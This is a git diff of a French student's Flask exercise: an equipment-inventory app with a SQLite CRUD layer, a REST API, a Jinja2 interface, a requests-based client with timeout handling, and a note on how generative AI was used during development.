"sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "werkzeug" +version = "3.1.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dd/b2/381be8cfdee792dd117872481b6e378f85c957dd7c5bca38897b08f765fd/werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44", size = 875852, upload-time = "2026-04-02T18:49:14.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/8c/2e650f2afeb7ee576912636c23ddb621c91ac6a98e66dc8d29c3c69446e1/werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50", size = 226459, upload-time = "2026-04-02T18:49:12.72Z" }, +] diff --git a/Semaine_11/Jour_03/.env.example b/Semaine_11/Jour_03/.env.example new file mode 100644 index 0000000..d920ae7 --- /dev/null +++ b/Semaine_11/Jour_03/.env.example @@ -0,0 +1,13 @@ +# Clé secrète Flask : utilisée pour signer les sessions et flash messages. +# Générer avec : python -c "import secrets; print(secrets.token_hex(32))" +FLASK_SECRET_KEY=hex(32) + +# Mode debug (True/False). Désactiver en production. +FLASK_DEBUG=False + +# Hôte et port d'écoute Flask +FLASK_HOST=127.0.0.1 +FLASK_PORT=5000 + +# Chemin optionnel vers la base SQLite (relatif au projet) +DATABASE_PATH=databases/inventory.db diff --git a/Semaine_11/Jour_03/.gitignore b/Semaine_11/Jour_03/.gitignore new file mode 100644 index 0000000..2fbf6ec --- /dev/null +++ b/Semaine_11/Jour_03/.gitignore @@ -0,0 +1,40 @@ +# --- Secrets --- +.env +.env.* +!.env.example + +# --- Python --- +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +.venv/ +venv/ +env/ +.eggs/ +*.egg-info/ +dist/ +build/ + +# --- Base de données locale --- +databases/*.db +databases/*.sqlite +databases/*.sqlite3 + +# --- IDE / OS --- +.idea/ +.vscode/ +*.swp +.DS_Store +Thumbs.db + +# --- Logs --- +*.log +logs/ + +# --- Tests / coverage --- +.pytest_cache/ +.coverage +htmlcov/ +.tox/ diff --git a/Semaine_11/Jour_03/.python-version b/Semaine_11/Jour_03/.python-version new file mode 100644 index 0000000..6324d40 --- /dev/null +++ b/Semaine_11/Jour_03/.python-version @@ -0,0 +1 @@ +3.14 diff --git a/Semaine_11/Jour_03/BOICHE_Gauvain_3_4_API_CRUD.zip b/Semaine_11/Jour_03/BOICHE_Gauvain_3_4_API_CRUD.zip new file mode 100644 index 0000000..844f2c8 Binary files /dev/null and b/Semaine_11/Jour_03/BOICHE_Gauvain_3_4_API_CRUD.zip differ diff --git a/Semaine_11/Jour_03/Exercice 3.4 - Consommer API.md b/Semaine_11/Jour_03/Exercice 3.4 - Consommer API.md new file mode 100644 index 0000000..b42c962 --- /dev/null +++ b/Semaine_11/Jour_03/Exercice 3.4 - Consommer API.md @@ -0,0 +1,204 @@ +# Exercice 3.4 — Développer une application Flask avec API REST, interface Jinja2 et base SQLite3 + +## Objectifs pédagogiques + +À l'issue de cet exercice, vous serez capable de : + +* créer une application Flask combinant une API REST et une interface Web ; +* utiliser une base de données SQLite3 pour stocker des informations ; +* réaliser les opérations essentielles d'un CRUD (Create, Read, Update, Delete) ; +* concevoir une interface HTML dynamique avec Jinja2 ; +* créer un formulaire HTML permettant d'ajouter des données ; +* consommer une API REST avec la bibliothèque `requests` ; +* gérer correctement les erreurs de communication avec une API. + +--- + +# Contexte + +Une entreprise souhaite développer une petite application permettant de gérer son parc d'équipements informatiques. + +L'application devra être accessible de deux façons : + +* par une API REST destinée à d'autres applications ; +* par une interface Web destinée aux utilisateurs. + +Toutes les données devront être enregistrées dans une base de données SQLite3. + +--- + +# Travail demandé + +## Étape 1 — Préparer le projet + +* Créez un nouveau projet Python et mettez en place un environnement virtuel. +* Installez les bibliothèques nécessaires au développement de l'application. +* Organisez votre projet de manière à séparer le code Python, les templates HTML et la base de données. + +--- + +## Étape 2 — Créer la base de données + +Créez une base SQLite3. +Cette base devra contenir une table permettant de stocker les équipements. +Chaque équipement devra posséder au minimum : + +* un identifiant unique ; +* un nom ; +* un état (actif ou inactif). + +Vérifiez que la table est correctement créée. + +--- + +## Étape 3 — Initialiser Flask + +Créez une application Flask. +Assurez-vous que celle-ci démarre correctement et qu'une première page de test est accessible depuis un navigateur. + +--- + +## Étape 4 — Accéder à la base de données + +Écrivez les fonctions permettant : + +* d'ouvrir une connexion à SQLite ; +* d'exécuter une requête SQL ; +* de récupérer les résultats ; +* de fermer correctement la connexion. + +Ces fonctions devront être réutilisées dans toute l'application. + +--- + +## Étape 5 — Développer l'API REST + +Créez les routes permettant d'exposer les données sous forme JSON. + +Votre API devra permettre : + +* d'obtenir la liste complète des équipements ; +* d'ajouter un nouvel équipement. + +Vérifiez le bon fonctionnement de ces routes avec un navigateur ou un outil de test d'API. + +--- + +## Étape 6 — Réaliser l'interface Web + +Ajoutez une nouvelle page Web affichant le parc des équipements. +Cette page devra être générée avec un template Jinja2. +Les données affichées devront provenir de la base SQLite. + +--- + +## Étape 7 — Construire le template Jinja2 + +Dans votre template : + +* affichez les équipements dans un tableau HTML ; +* utilisez une boucle Jinja2 pour parcourir les données ; +* affichez le nom et l'identifiant de chaque équipement ; +* affichez l'état de chaque équipement. + +L'état devra être affiché différemment selon que l'équipement est actif ou inactif. + +--- + +## Étape 8 — Ajouter un formulaire + +Ajoutez au-dessus du tableau un formulaire HTML permettant de créer un nouvel équipement. + +Le formulaire devra comporter : + +* un champ de saisie pour le nom ; +* un bouton d'envoi. + +Lors de la validation : + +* les données devront être envoyées au serveur ; +* le nouvel équipement devra être enregistré dans SQLite ; +* la page devra être réaffichée avec la nouvelle liste. + +--- + +## Étape 9 — Ajouter des actions sur les équipements + +Pour chaque ligne du tableau, ajoutez des boutons permettant : + +* de modifier l'état de l'équipement (actif ↔ inactif) ; +* de supprimer l'équipement. + +Après chaque action, l'utilisateur devra être redirigé vers la liste mise à jour. + +--- + +## Étape 10 — Développer un client Python + +Créez un second programme Python jouant le rôle de client. + +Ce programme devra communiquer avec l'API REST à l'aide de la bibliothèque `requests`. + +Il devra : + +1. récupérer la liste des équipements ; +2. afficher cette liste dans le terminal ; +3. ajouter un nouvel équipement via l'API ; +4. récupérer de nouveau la liste ; +5. afficher le résultat. + +--- + +## Étape 11 — Gérer les erreurs + +Tous les appels HTTP devront être sécurisés. + +Votre programme devra notamment : + +* définir un délai maximal d'attente pour chaque requête ; +* vérifier que la réponse du serveur est valide ; +* afficher un message clair si le serveur est indisponible ; +* éviter tout arrêt brutal du programme en cas d'erreur réseau. + +--- + +## Étape 12 — Vérifier le fonctionnement + +Vérifiez que les opérations suivantes fonctionnent correctement : + +* création de la base de données ; +* ajout d'un équipement via le formulaire Web ; +* affichage dynamique des données dans le template Jinja2 ; +* modification de l'état d'un équipement ; +* suppression d'un équipement ; +* consultation de l'API REST ; +* ajout d'un équipement via le client Python. + +--- + +# Livrables attendus + +Le projet devra contenir au minimum : + +* le fichier principal de l'application Flask ; +* le client Python utilisant `requests` ; +* la base SQLite3 (ou son script de création) ; +* le dossier `templates` contenant les pages Jinja2 ; +* un document `USAGE-IA.md` décrivant l'utilisation éventuelle d'une IA générative pendant le développement. + +--- + +# Critères d'évaluation + +L'évaluation portera sur les points suivants : + +| Critère | Points d'attention | +| ------------------- | ---------------------------------------------------------------------- | +| Base SQLite | Création correcte et accès fonctionnel | +| API REST | Routes opérationnelles et réponses JSON conformes | +| CRUD | Ajout, consultation, modification et suppression fonctionnels | +| Interface Jinja2 | Utilisation correcte des variables, boucles et conditions | +| Formulaire HTML | Enregistrement correct des données dans SQLite | +| Client `requests` | Appels HTTP correctement réalisés | +| Gestion des erreurs | Timeout, vérification des réponses et traitement propre des exceptions | +| Qualité du code | Organisation, lisibilité et séparation des responsabilités | diff --git a/Semaine_11/Jour_03/USAGE-IA.md b/Semaine_11/Jour_03/USAGE-IA.md new file mode 100644 index 0000000..78819de --- /dev/null +++ b/Semaine_11/Jour_03/USAGE-IA.md @@ -0,0 +1,80 @@ +# Exo 3.4 "Consommer l'API" - BOICHÉ Gauvain + +## Usage de l'IA + +### Raison 1 + +Pour convertir la structure de SQLAlchemy en SQLite. Parce que, comme un imbécile, j'ai tout fait en SQLAlchemy, sans percuter. + +#### Ce que j'en ai retenu + +La somme de la conversion était colossale. + +Déjà, de nombreuses méthodes (pas au sens Python du terme) m'étant inconnues ont été intégrées. J'ai lu religieusement pour comprendre, et ça va, le sens ne m'échappe pas. + +Celle qui m'a fait le plus tiquer c'est `flash()`. Les strings disent `Flashes a message to the next request. In order to remove the flashed message from the session and to display it to the user, the template has to call get_flashed_messages.` C'est spécial. Je me rends compte aussi que mes propres fonctions n'ont pas de """docstring""", mais pour autant, je pense ne pas en avoir besoin. + +Un de mes mentors m'avait dit : "un bon code se passe de commentaire". Et ma convention de nommage semble assez exemplaire pour s'en passer. + +### Raison 2 + +Pour générer les fichiers .env et .gitignore, parce que ça me saoule aussi de fouiller dans mes dossiers jusqu'à satsifaction. Et faire une méthode pour ne rien lancer sans ces valeurs. + +#### Ce que j'en ai retenu + +Y a rien à retenir de particulier. Sauf peut-être un genre de dossier général à la racine de mes projets avec des patrons tout fait. + +Quand à la fonction `_required_env`, à la base j'avais fait un simple `try: except:` mais ça semble mieux comme ça. + +Et par ricochet, j'ai vu qu'on pouvait définir des variables dans l'application "Flask" avec `.config`. + +### Raison 3 + +Générer du code CSS. + +#### Ce que j'en ai retenu + +La raison pour laquelle j'ai lâché mes cours CodeCademy sur le Frontend. Ca me gonfle. + +### Raison 4 + +Choisir de faire ou non une réinitialisation de la DB en relançant app.py + +#### Ce que j'en ai retenu + +J'ai plusieurs fois voulu faire un choix multiples en Python sans jamais me renseigner dessus, et j'étais trop avancé pour refactoriser ça moi-même. Visiblement ça n'existe pas trop dans l'état, ça marche avec un "O/N" classique. Peut-être existe-t-il une solution (choisir avec les flèches du clavier) mais ça demande certainement un genre de moteur visuel. Je ne sais pas du moins. Je n'ai pas insisté, mais de fait je me trouve stupide de demander à l'IA ce que je savais déjà faire. Après, j'ignorais que je connaissais déjà la seule solution, donc au moins je retiens que Python ne gère pas forcément tout. + +### Raison 5 + +Ecrire les commandes de test, notamment sur la robustesse. + +#### Ce que j'en ai retenu + +La sortie JSON formatée par python m'intéresse. Je ne pensais pas que Python pouvait servir aussi à ça. Dans le quotidien ça peut être utile à savoir. + +Et surtout, je voulais juste une liste de commandes curl, mais l'IA m'a proposé directement après, sans lui demander, un script .sh (joint). Pourquoi m'embêter avec un .md et des copier/coller ? Je dois y repenser à chaque fois. Faire des sorties automatiques. Je le fais au travail mais jamais en exercice. + +Partisan du moindre effort ? Oui, et ça fait de moi un bon informaticien. + +### Raison 6 + +Téléversement de mon projet finalisé (le .md de l'exercice, les .py et les .html ainsi qu'une capture d'écran de l'arborescence) sur trois IA spécialisées différentes (QwenCoder 3.7 Plus, MiniMax M3, Kimi K2.6 [on le sent que je contrebalance la domination américaine par de la domination chinoise, ou pas du tout ?]) avec une demande de revue. + +#### Les résultats + +Les trois IA fournissent des rapports cohérents (ce qui est rassurant) même si chacune courbe son jugement par son paradigme interne : + +- Qwen se concentre sur la base +- Kimi relève les soucis d'imports circulaires et les potentiels points de blocage concrets actuels +- MiniMax a relevé les potentiels problèmes futurs en anticipant une application qui prend de l'ampleur + +Les bogues relevés : + +- Sérialisation JSON menant à une potentielle `TypeError` (que je n'ai pas constatée) +- Fonctions critiques potentiellement bloquantes +- Fonctions critiques dans des boucles non sécurisées +- Coquilles et oublis de lignes à rajouter/retirer + +#### Ce que j'ai modifié en conséquence + +Corrections des bogues critiques, re-test et validation. \ No newline at end of file diff --git a/Semaine_11/Jour_03/app.py b/Semaine_11/Jour_03/app.py new file mode 100644 index 0000000..22f8a97 --- /dev/null +++ b/Semaine_11/Jour_03/app.py @@ -0,0 +1,234 @@ +import os +from pathlib import Path +from dotenv import load_dotenv +from flask import Flask, jsonify, request, render_template, redirect, url_for, flash + +from classes import Equipment, Interface +from database import ( + init_database, + reset_database, + prompt_reset, + fetch_all_equipments, + fetch_equipment_by_id, + insert_equipment, + update_equipment, + delete_equipment, +) + +load_dotenv() + +app = Flask(__name__) + +def _required_env(key: str) -> str: + value = os.environ.get(key) + if not value: + raise RuntimeError( + f"Variable d'environnement {key!r} manquante. " + f"Vérifiez votre fichier .env (voir .env.example)." + ) + return value + +app.config["SECRET_KEY"] = _required_env("FLASK_SECRET_KEY") +app.config["DEBUG"] = os.environ.get("FLASK_DEBUG", "False").lower() in {"1", "true", "yes"} +app.config["DATABASE_PATH"] = os.environ.get("DATABASE_PATH", "databases/inventory.db") + +ALLOWED_TYPES = {"Server", "Instance", "Switch", "Gateway", "Router", "WAF", "Database"} + +def _parse_form_equipment(form) -> tuple[Equipment | None, str | None]: + hostname = (form.get("hostname") or "").strip() + if not hostname: + return None, "Hostname requis." + + eq_type = form.get("type", "Server") + if eq_type not in ALLOWED_TYPES: + return None, f"Type invalide : {eq_type}." + + ip = (form.get("ip_address") or "").strip() or "255.255.255.0" + is_active = form.get("is_active") == "on" + + latency_raw = (form.get("latency") or "").strip() + latency = None + if latency_raw: + try: + latency = float(latency_raw) + if latency < 0: + return None, "Latence doit être positive." + except ValueError: + return None, "Latence invalide." + + ports = form.getlist("ports[]") + services = form.getlist("services[]") + interfaces: list[Interface] = [] + for port_raw, service in zip(ports, services): + if not port_raw: + continue + try: + port = int(port_raw) + if not (0 <= port <= 65535): + return None, f"Port invalide : {port_raw}." + except ValueError: + return None, f"Port non numérique : {port_raw}." + if not service.strip(): + return None, "Service requis pour chaque interface." + interfaces.append(Interface(port=port, service=service.strip())) + + return Equipment( + hostname=hostname, + type=eq_type, + ip_address=ip, + is_active=is_active, + latency=latency, + interfaces=interfaces, + ), None + +def _equipment_to_dict(eq: Equipment) -> dict: + return { + "id": eq.id, + "hostname": eq.hostname, + "type": eq.type, + "ip_address": eq.ip_address, + "is_active": eq.is_active, + "latency": eq.latency, + "interfaces": [ + {"id": i.id, "port": i.port, "service": i.service} + for i in eq.interfaces + ], + } + +# Partie FRONT + +@app.route('/') +def index(): + return render_template('index.html') + +@app.route('/equipments', methods=['GET']) +def equipments_page(): + equipments = fetch_all_equipments() + return render_template('equipments.html', equipments=equipments, types=sorted(ALLOWED_TYPES)) + +@app.route('/equipments', methods=['POST']) +def create_equipment_form(): + eq, err = _parse_form_equipment(request.form) + if err: + flash(err, "error") + return redirect(url_for('equipments_page')) + insert_equipment(eq) + flash(f"Équipement « {eq.hostname} » créé.", "success") + return redirect(url_for('equipments_page')) + +@app.route('/equipments//toggle', methods=['POST']) +def toggle_equipment(equipment_id: int): + eq = fetch_equipment_by_id(equipment_id) + if eq is None: + flash(f"Équipement {equipment_id} introuvable.", "error") + return redirect(url_for('equipments_page')) + eq.is_active = not eq.is_active + update_equipment(eq) + flash(f"État de « {eq.hostname} » mis à jour.", "success") + return redirect(url_for('equipments_page')) + +@app.route('/equipments//delete', methods=['POST']) +def delete_equipment_form(equipment_id: int): + eq = fetch_equipment_by_id(equipment_id) + if eq is None: + flash(f"Équipement {equipment_id} introuvable.", "error") + return redirect(url_for('equipments_page')) + delete_equipment(equipment_id) + flash(f"Équipement « {eq.hostname} » supprimé.", "success") + return redirect(url_for('equipments_page')) + +# Partie API + +@app.get("/api/equipments") +def list_equipments_api(): + return jsonify([_equipment_to_dict(eq) for eq in fetch_all_equipments()]) + +@app.get("/api/equipments/") +def get_equipment_api(equipment_id: int): + eq = fetch_equipment_by_id(equipment_id) + if eq is None: + return jsonify({"error": "Équipement introuvable."}), 404 + return jsonify(_equipment_to_dict(eq)) + +@app.post("/api/equipments") +def create_equipment_api(): + data = request.get_json(silent=True) or {} + hostname = (data.get("hostname") or "").strip() + if not hostname: + return jsonify({"error": "Hostname requis."}), 400 + eq_type = data.get("type", "Server") + if eq_type not in ALLOWED_TYPES: + return jsonify({"error": f"Type invalide : {eq_type}."}), 400 + eq = Equipment( + hostname=hostname, + type=eq_type, + ip_address=(data.get("ip_address") or "255.255.255.0").strip(), + is_active=bool(data.get("is_active", True)), + latency=data.get("latency"), + interfaces=[], + ) + new_id = insert_equipment(eq) + eq.id = new_id + return jsonify(_equipment_to_dict(eq)), 201 + +@app.put("/api/equipments/") +def update_equipment_api(equipment_id: int): + eq = fetch_equipment_by_id(equipment_id) + if eq is None: + return jsonify({"error": f"Équipement {equipment_id} introuvable."}), 404 + + data = request.get_json(silent=True) or {} + hostname = (data.get("hostname") or "").strip() + if not hostname: + return jsonify({"error": "Hostname requis."}), 400 + + eq_type = data.get("type", "Server") + if eq_type not in ALLOWED_TYPES: + return jsonify({"error": f"Type invalide : {eq_type}."}), 400 + + latency = data.get("latency") + if latency is not None: + try: + latency = float(latency) + if latency < 0: + return jsonify({"error": "Latence doit être positive."}), 400 + except (ValueError, TypeError): + return jsonify({"error": "Latence invalide."}), 400 + + eq.hostname = hostname + eq.type = eq_type + eq.ip_address = (data.get("ip_address") or "255.255.255.0").strip() + eq.is_active = bool(data.get("is_active", True)) + eq.latency = latency + + update_equipment(eq) + return jsonify(_equipment_to_dict(eq)), 200 + +@app.patch("/api/equipments//toggle") +def toggle_equipment_api(equipment_id: int): + eq = fetch_equipment_by_id(equipment_id) + if eq is None: + return jsonify({"error": f"Équipement {equipment_id} introuvable."}), 404 + eq.is_active = not eq.is_active + update_equipment(eq) + return jsonify(_equipment_to_dict(eq)), 200 + +@app.delete("/api/equipments/") +def delete_equipment_api(equipment_id: int): + eq = fetch_equipment_by_id(equipment_id) + if eq is None: + return jsonify({"error": f"Équipement {equipment_id} introuvable."}), 404 + delete_equipment(equipment_id) + return jsonify({"message": f"Équipement « {eq.hostname} » supprimé."}), 200 + +if __name__ == '__main__': + host = os.environ.get("FLASK_HOST", "127.0.0.1") + port = int(os.environ.get("FLASK_PORT", "5000")) + + if prompt_reset(): + reset_database() + print("Base réinitialisée.") + else: + init_database() + + app.run(host=host, port=port, debug=app.config["DEBUG"]) diff --git a/Semaine_11/Jour_03/classes.py b/Semaine_11/Jour_03/classes.py new file mode 100644 index 0000000..b0ca2e3 --- /dev/null +++ b/Semaine_11/Jour_03/classes.py @@ -0,0 +1,19 @@ +from dataclasses import dataclass, field +from typing import List, Optional + +@dataclass +class Interface: + id: Optional[int] = None + port: int = 0 + service: str = "[SERVICE]" + equipment_id: Optional[int] = None + +@dataclass +class Equipment: + id: Optional[int] = None + hostname: str = "[HOSTNAME]" + type: str = "Server" + ip_address: str = "255.255.255.0" + is_active: bool = True + latency: Optional[float] = None + interfaces: List[Interface] = field(default_factory=list) diff --git a/Semaine_11/Jour_03/client.py b/Semaine_11/Jour_03/client.py new file mode 100644 index 0000000..f8ea2ca --- /dev/null +++ b/Semaine_11/Jour_03/client.py @@ -0,0 +1,92 @@ +import sys +import requests + +BASE_URL = "http://127.0.0.1:5000" +TIMEOUT = 5 + +def list_equipments() -> list[dict] | None: + try: + response = requests.get(f"{BASE_URL}/api/equipments", timeout=TIMEOUT) + response.raise_for_status() + except requests.exceptions.Timeout: + print(f"[ERREUR] Délai d'attente dépassé ({TIMEOUT}s) lors de GET /api/equipments.") + return None + except requests.exceptions.ConnectionError: + print(f"[ERREUR] Impossible de joindre le serveur {BASE_URL}. Est-il démarré ?") + return None + except requests.exceptions.HTTPError as e: + print(f"[ERREUR] Réponse HTTP invalide : {e}") + return None + except requests.exceptions.RequestException as e: + print(f"[ERREUR] Échec de la requête : {e}") + return None + + try: + data = response.json() + except ValueError: + print("[ERREUR] Réponse non-JSON reçue du serveur.") + return None + + if not isinstance(data, list): + print("[ERREUR] Format de réponse inattendu (liste attendue).") + return None + return data + +def add_equipment(hostname: str, type_: str, ip_address: str) -> dict | None: + payload = { + "hostname": hostname, + "type": type_, + "ip_address": ip_address, + "is_active": True, + } + try: + response = requests.post( + f"{BASE_URL}/api/equipments", + json=payload, + timeout=TIMEOUT, + ) + response.raise_for_status() + except requests.exceptions.Timeout: + print(f"[ERREUR] Délai d'attente dépassé ({TIMEOUT}s) lors de POST /api/equipments.") + return None + except requests.exceptions.ConnectionError: + print(f"[ERREUR] Impossible de joindre le serveur {BASE_URL}.") + return None + except requests.exceptions.HTTPError as e: + print(f"[ERREUR] Réponse HTTP invalide : {e}") + return None + except requests.exceptions.RequestException as e: + print(f"[ERREUR] Échec de la requête : {e}") + return None + + try: + return response.json() + except ValueError: + print("[ERREUR] Réponse non-JSON reçue après création.") + return None + +def main() -> int: + print("=== Liste initiale ===") + initial = list_equipments() + if initial is None: + return 1 + for eq in initial: + print(f" #{eq['id']} {eq['hostname']} ({eq['type']}) - {'actif' if eq['is_active'] else 'inactif'}") + + print("\n=== Ajout d'un équipement ===") + new_eq = add_equipment("client-test-01", "Router", "10.0.99.1") + if new_eq is None: + return 1 + print(f" Créé : #{new_eq['id']} {new_eq['hostname']}") + + print("\n=== Liste mise à jour ===") + updated = list_equipments() + if updated is None: + return 1 + for eq in updated: + print(f" #{eq['id']} {eq['hostname']} ({eq['type']}) - {'actif' if eq['is_active'] else 'inactif'}") + + return 0 + +if __name__ == "__main__": + sys.exit(main()) \ No newline at end of file diff --git a/Semaine_11/Jour_03/database.py b/Semaine_11/Jour_03/database.py new file mode 100644 index 0000000..6c486fc --- /dev/null +++ b/Semaine_11/Jour_03/database.py @@ -0,0 +1,157 @@ +import sqlite3 +from pathlib import Path +from contextlib import contextmanager +from typing import Any, Iterable, Optional + +from classes import Equipment, Interface + +BASE_DIR = Path(__file__).resolve().parent +DB_DIR = BASE_DIR / "databases" +DB_PATH = DB_DIR / "inventory.db" + +SCHEMA = """ +CREATE TABLE IF NOT EXISTS equipments ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + hostname TEXT NOT NULL DEFAULT '[HOSTNAME]', + type TEXT NOT NULL DEFAULT 'Server', + ip_address TEXT NOT NULL DEFAULT '255.255.255.0', + is_active INTEGER NOT NULL DEFAULT 1, + latency REAL +); + +CREATE TABLE IF NOT EXISTS interfaces ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + port INTEGER NOT NULL, + service TEXT NOT NULL DEFAULT '[SERVICE]', + equipment_id INTEGER NOT NULL, + FOREIGN KEY (equipment_id) REFERENCES equipments(id) ON DELETE CASCADE +); +""" +def _ensure_db_dir() -> None: + DB_DIR.mkdir(parents=True, exist_ok=True) + +@contextmanager +def get_connection(): + _ensure_db_dir() + conn = sqlite3.connect(DB_PATH) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA foreign_keys = ON") + try: + yield conn + finally: + conn.close() + +def init_database() -> None: + with get_connection() as conn: + conn.executescript(SCHEMA) + conn.commit() + +def execute_query(query: str, params: Iterable[Any] = ()) -> list[sqlite3.Row]: + with get_connection() as conn: + cursor = conn.execute(query, tuple(params)) + return cursor.fetchall() + +def execute_modification(query: str, params: Iterable[Any] = ()) -> int: + with get_connection() as conn: + cursor = conn.execute(query, tuple(params)) + conn.commit() + return cursor.rowcount + +def _row_to_equipment(row: sqlite3.Row) -> Equipment: + return Equipment( + id=row["id"], + hostname=row["hostname"], + type=row["type"], + ip_address=row["ip_address"], + is_active=bool(row["is_active"]), + latency=row["latency"], + ) + +def _row_to_interface(row: sqlite3.Row) -> Interface: + return Interface( + id=row["id"], + port=row["port"], + service=row["service"], + equipment_id=row["equipment_id"], + ) + +def fetch_all_equipments() -> list[Equipment]: + rows = execute_query( + "SELECT id, hostname, type, ip_address, is_active, latency " + "FROM equipments ORDER BY id" + ) + equipments = [_row_to_equipment(r) for r in rows] + for eq in equipments: + eq.interfaces = fetch_interfaces_for_equipment(eq.id) #type: ignore + return equipments + +def fetch_equipment_by_id(equipment_id: int) -> Optional[Equipment]: + rows = execute_query( + "SELECT id, hostname, type, ip_address, is_active, latency " + "FROM equipments WHERE id = ?", + (equipment_id,), + ) + if not rows: + return None + eq = _row_to_equipment(rows[0]) + eq.interfaces = fetch_interfaces_for_equipment(eq.id) #type: ignore + return eq + +def fetch_interfaces_for_equipment(equipment_id: int) -> list[Interface]: + rows = execute_query( + "SELECT id, port, service, equipment_id FROM interfaces " + "WHERE equipment_id = ? ORDER BY id", + (equipment_id,), + ) + return [_row_to_interface(r) for r in rows] + +def insert_equipment(eq: Equipment) -> int: + with get_connection() as conn: + cursor = conn.execute( + "INSERT INTO equipments (hostname, type, ip_address, is_active, latency) " + "VALUES (?, ?, ?, ?, ?)", + (eq.hostname, eq.type, eq.ip_address, int(eq.is_active), eq.latency), + ) + eq_id = cursor.lastrowid + eq.id = eq_id # <-- ajout + for iface in eq.interfaces: + conn.execute( + "INSERT INTO interfaces (port, service, equipment_id) " + "VALUES (?, ?, ?)", + (iface.port, iface.service, eq_id), + ) + conn.commit() + return eq_id #type:ignore + +def update_equipment(eq: Equipment) -> bool: + return execute_modification( + "UPDATE equipments SET hostname=?, type=?, ip_address=?, " + "is_active=?, latency=? WHERE id=?", + (eq.hostname, eq.type, eq.ip_address, int(eq.is_active), + eq.latency, eq.id), + ) > 0 + +def delete_equipment(equipment_id: int) -> bool: + return execute_modification( + "DELETE FROM equipments WHERE id = ?", (equipment_id,) + ) > 0 + +def reset_database() -> None: + from init_db import main as seed + + if DB_PATH.exists(): + DB_PATH.unlink() + init_database() + seed() + +def prompt_reset() -> bool: + while True: + choice = input("Réinitialiser la base de données ? [o/N] : ").strip().lower() + if choice in {"o", "oui", "y", "yes"}: + return True + if choice in {"", "n", "non", "no"}: + return False + print("Réponse invalide. Saisissez 'o' (oui) ou 'n' (non).") + +# Gestion API + diff --git a/Semaine_11/Jour_03/init_db.py b/Semaine_11/Jour_03/init_db.py new file mode 100644 index 0000000..389f29f --- /dev/null +++ b/Semaine_11/Jour_03/init_db.py @@ -0,0 +1,67 @@ +from random import choice, randint +from database import init_database, insert_equipment, fetch_all_equipments +from classes import Equipment, Interface + +NUMBER_OF_EQUIPMENTS_TO_POPULATE = 15 + +COMMON_SERVICES: dict[str, int] = { + "FTP": 21, + "SSH": 22, + "Telnet": 23, + "SMTP": 25, + "DNS": 53, + "HTTP": 80, + "POP3": 110, + "NetBIOS": 139, + "IMAP": 143, + "HTTPS": 443, + "LDAPS": 636, + "RDP": 3389, +} + +TYPES = [ + "Server", + "Instance", + "Switch", + "Gateway", + "Router", + "WAF", + "Database", +] + +def random_ipv4() -> str: + return ".".join(str(randint(0, 255)) for _ in range(4)) + +def load_words(path: str = "wordlist.txt") -> list[str]: + with open(path, "r", encoding="utf-8") as f: + return [line.strip() for line in f if line.strip()] + +def random_hostname(words: list[str]) -> str: + triplet = "-".join(choice(words) for _ in range(3)) + return f"{triplet}-{randint(1, 999):03d}" + +def random_interfaces() -> list[Interface]: + count = randint(2, 5) + services = list(COMMON_SERVICES.items()) + return [Interface(port=port, service=svc) for svc, port in + (choice(services) for _ in range(count))] + +def main(n: int = NUMBER_OF_EQUIPMENTS_TO_POPULATE) -> None: + init_database() + if fetch_all_equipments(): + print("Base déjà peuplée, peuplement ignoré.") + return + words = load_words() + for _ in range(n): + insert_equipment(Equipment( + hostname=random_hostname(words), + type=choice(TYPES), + ip_address=random_ipv4(), + is_active=True, + latency=round(randint(1, 500) / 10, 1), + interfaces=random_interfaces(), + )) + print(f"{n} équipements insérés.") + +if __name__ == "__main__": + main() diff --git a/Semaine_11/Jour_03/pyproject.toml b/Semaine_11/Jour_03/pyproject.toml new file mode 100644 index 0000000..1fc4009 --- /dev/null +++ b/Semaine_11/Jour_03/pyproject.toml @@ -0,0 +1,12 @@ +[project] +name = "3_4_API_REST" +version = "0.1.0" +description = "Add your description here" +readme = "USAGE-IA.md" +requires-python = ">=3.14" +dependencies = [ + "dotenv>=0.9.9", + "flask>=3.1.3", + "requests>=2.34.2", + "sqlalchemy>=2.0.51", +] diff --git a/Semaine_11/Jour_03/requests.md b/Semaine_11/Jour_03/requests.md new file mode 100644 index 0000000..8f1611c --- /dev/null +++ b/Semaine_11/Jour_03/requests.md @@ -0,0 +1,306 @@ +# Exo 3.4 "Consommer l'API" - BOICHÉ Gauvain + +## Requêtes type + +### Lister + +``` +# Liste complète 